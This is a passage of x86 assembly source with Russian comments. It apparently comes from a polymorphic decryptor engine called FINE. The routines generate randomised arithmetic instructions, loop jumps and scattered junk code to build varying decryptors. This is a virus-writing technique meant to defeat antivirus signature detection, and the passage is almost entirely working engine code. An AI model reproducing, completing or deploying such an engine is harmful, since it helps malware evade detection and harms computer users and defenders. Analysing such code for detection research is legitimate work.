    jg      _sub01_
_add01_: 
    jmp     _n001_
_sub01_:
    mov     al,29h 
    jmp     _n001_
_xor01_:
    mov     al,31h  
_n001_:
    stosb     
    mov     al,bl
    shl     eax,3
    add     al,bh
    stosb 
    pop     eax
    call    gen_trash 
    ret
;===============================[ADD/SUB/XOR [reg1],reg2]================================================  





;================================[ADD/SUB/XOR reg2,imm]================================================== 
instr___addxorsub__reg_imm:
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr 
    push    eax
    add     eax,dword ptr [esp+4]
    call    goto_free_addr
    pop     eax
    call    gen_trash
;--------------------------------------------------------------------------------------------------------
    mov     al,81h
    stosb 
;--------------------------------------------------------------------------------------------------------
    push    3                                   ;ADD, SUB, или XOR      ? 
    call    [edx].rgen_addr
    mov     dword ptr [ebp-44],eax
    cmp     al,1
    mov     al,bl                                   ;reg2 
    jl      _xor02_
    jg      _sub02_
_add02_:
    add     al,0C0h
    jmp     _n002_                                  

_sub02_:
    add     al,0E8h
    jmp     _n002_ 

_xor02_:
    add     al,0F0h

_n002_:
    stosb
    mov     dword ptr [ebp-40],edi
    xor     eax,eax 
    stosd
    pop     eax
    call    gen_trash                        
    ret 
;================================[ADD/SUB/XOR reg2,imm]==================================================  





;======================================[DEC reg1]======================================================== 
instr___dec__reg:
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion     
    call    [edx].rgen_addr 
    push    eax
    add     eax,dword ptr [esp+4] 
    call    goto_free_addr
    pop     eax
    call    gen_trash 
;--------------------------------------------------------------------------------------------------------
    push    2                                   ;DEC reg1 или
    call    [edx].rgen_addr                     ;SUB reg1,1     ? 
    test    eax,eax
    je      _dec__reg1_
;--------------------------------------------------------------------------------------------------------
_sub__reg1_1_:
    mov     al,83h
    stosb
    mov     al,0E8h
    add     al,bh
    stosb
    mov     al,1 
    jmp     _idrendtrash_    
;--------------------------------------------------------------------------------------------------------
_dec__reg1_: 
    mov     al,bh                                                   ;reg1 
    add     al,48h
_idrendtrash_:
    stosb
    pop     eax
    call    gen_trash 
    ret
;======================================[DEC reg1]========================================================  





;=================================[DEC [esp]   JNE imm]================================================== 
instr___dec__addresp:
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4]
    call    goto_free_addr
    pop     eax
    call    gen_trash 
;--------------------------------------------------------------------------------------------------------
    push    2                                   ;DEC [esp] или 
    call    [edx].rgen_addr                     ;SUB [esp],1     ?       
    test    eax,eax
    je      _dec__addresp_
;--------------------------------------------------------------------------------------------------------
_sub__addresp_1_: 
    mov     eax,01242C83h
    stosd
    jmp     _jne__imm_ 

_dec__addresp_: 
    mov     ax,0CFFh
    stosw
    mov     al,24h
    stosb 

_jne__imm_:                                     ;JNE imm 
    push    ecx
    mov     ecx,edi 
    mov     ax,850Fh
    stosw 

    sub     ecx,dword ptr [ebp-32]  
    add     ecx,6
    neg     ecx
    xchg    eax,ecx
    stosd 
    pop     ecx 
    pop     eax
    call    gen_trash 
    ret
;=====================================[DEC [esp]   JNE imm]==============================================  







;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция goto_free_addr
;получение, переход, а также (если надо) запись мусора и джампа 
;ВХОД:
;eax - размер кода ( в байтах), который надо будет записать по новому полученного рэндомному адресу 
;ВЫХОД:
;edi - новый адрес
;а также (если надо было) запись джампа и мусора 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
goto_free_addr:
    push    eax
    call    get_free_addr                       ;получаем адрес, по которому точно можно записать нужное количество (в байтах) кода
    push    eax
    jnc     _nojmp_                             ;проверяем, нужно ли записывать джамп?
    push    edi                                 ;если да, надо, то высчитываем операнд для jmp'a 
    sub     edi,eax
    inc     edi
    inc     edi
    mov     eax,edi 
_abs01_: 
    neg     eax 
    js      _abs01_
_jmpshort0xEB_: 
    cmp     eax,80h 
    jae     _jmpnear0xE9_
    neg     edi
    xchg    edi,dword ptr [esp]
    mov     al,0EBh
    stosb
    pop     eax
    stosb
    jmp     _nextgfa_  
    
_jmpnear0xE9_:  
    add     edi,3  
    neg     edi    
    xchg    edi,dword ptr [esp]
    mov     al,0E9h                             ;и записываем jmp 
    stosb 
    pop     eax
    stosd 
_nextgfa_:  
    ;mov        eax,min_portion 
    push    min_portion
    call    [edx].rgen_addr                     ;!!!!! можно закоментить  
    call    gen_trash                           ;после него запишем для заshitы кусок мусора  

_nojmp_:
    pop     edi
    pop     eax   
    ret                                         ;выходим 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции goto_free_addr 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 





;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция get_free_addr
;получение рэндомного свободного адреса для записи нужного количества байт 
;ВХОД:
;(+)
;ВЫХОД:
;(+) 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
get_free_addr:
    push    edi                                 ;[esp+12] 
    push    esi                                 ;[esp+08]
    push    ecx                                 ;[esp+04] 
    push    eax                                 ;[esp+00] 

_new_addr_:
    push    num_steps                           ;30 
    pop     esi                                 ;сколько попыток найти свободный адрес в заданном промежутке 
_find_free_addr_:
    dec     esi
    je      _correct_new_addr_                  ;если все попытки найти свободный адрес закончились (т.е. мы нихера не нашли свободный адрес), изменим наш диапазон поиска, сдвинув его вперед (в строну свободных адресов) 
    push    max_portion                         ;а вот это диапазон, в котором искать будем свободный адрес  
    call    [edx].rgen_addr
    add     eax,dword ptr [ebp-16]              ;добавялем адрес, который является началом данного промежутка 
    xchg    eax,edi
    mov     ecx,dword ptr [esp]                 ;далее в ecx кладем количество байт, которое надо будет позже записать (это мусорные команды + важные команды (скелет декриптора)) по свободному адресу    
    add     ecx,size_general_instr+5+4+2+min_portion
    xor     eax,eax 
    push    edi   
    repe    scasb                               ;и проверяем, занято ли данное место? 
    pop     edi 
    jne     _find_free_addr_                    ;если да, продолжаем искать  
    stosd                                       ;иначе мы нашли свободный адрес, и корректируем edi (edi+=4, это нужно от коллизий)   
    jmp     _ok_new_addr_                       ;переходим дальше   
_correct_new_addr_: 
    add     dword ptr [ebp-16],min_portion;+1   ;изменим диапазон поиска свободных адресов       
    jmp     _new_addr_ 
_ok_new_addr_:
    push    edi
    cmp     edi,dword ptr [esp+4+12]            ;если полученный свободный адрес меньше, чем текущий, то ясное дело, нужно записать jmp для перехода на этот новый адрес    
    jle     _jc_ok_
    push    size_general_instr+5+4+2+min_portion  
    pop     ecx                                 ;иначе, проверим, если текущий адрес стоит совсем рядом с новым, то jmp делать не будем, и заполним свободное место между ними мусором 
    std
    xor     eax,eax
    repe    scasb
    cld 
    je      _jc_ok_                             ;если они рядом не стоят, тогда запишем jmp 
    cmp     edi,dword ptr [esp+4+12]
    jg      _jc_ok_
    mov     edi,dword ptr [esp+4+12]      
    mov     eax,dword ptr [esp]
    sub     eax,edi
    call    gen_trash
    clc
    jmp     _getfaret_     

_jc_ok_:
    stc  
    
_getfaret_:
    pop     eax
    pop     ecx
    pop     ecx
    pop     esi
    pop     edi  
    ret                                         ;выходим  
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции get_free_addr  
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 





;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция gen_trash для вызова генератора мусора 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
gen_trash:
    mov     [ebp].buf_for_trash,edi
    mov     [ebp].size_trash,eax
    mov     [ebp].regs,ebx
    push    ebp  
    call    [edx].tgen_addr
    xchg    eax,edi
    ret 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции gen_trash 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 





;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция gen_reg
;генерация занятых регистров (а зяняты они будут в полидекрипторе) 
;ВЫХОД:
;bh - reg1
;bl - reg2 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
gen_reg:
_gen_reg1_: 
    call    random_reg
    cmp     al,4
    je      _gen_reg1_
    cmp     al,5
    je      _gen_reg1_
    xchg    eax,ebx
_gen_reg2_:
    call    random_reg
    cmp     al,4
    je      _gen_reg2_
    cmp     al,5
    je      _gen_reg2_
    cmp     al,bl
    je      _gen_reg2_
    mov     bh,al
    ret 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции gen_reg 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  





;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция генерации случайного регистра
;ВЫХОД:
;eax - случайный регистр 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
random_reg:
    push    8
    call    [edx].rgen_addr
    ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции random_reg 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  

 

 

;======================================================================================================== 
FINESize    equ     $ - FINE  

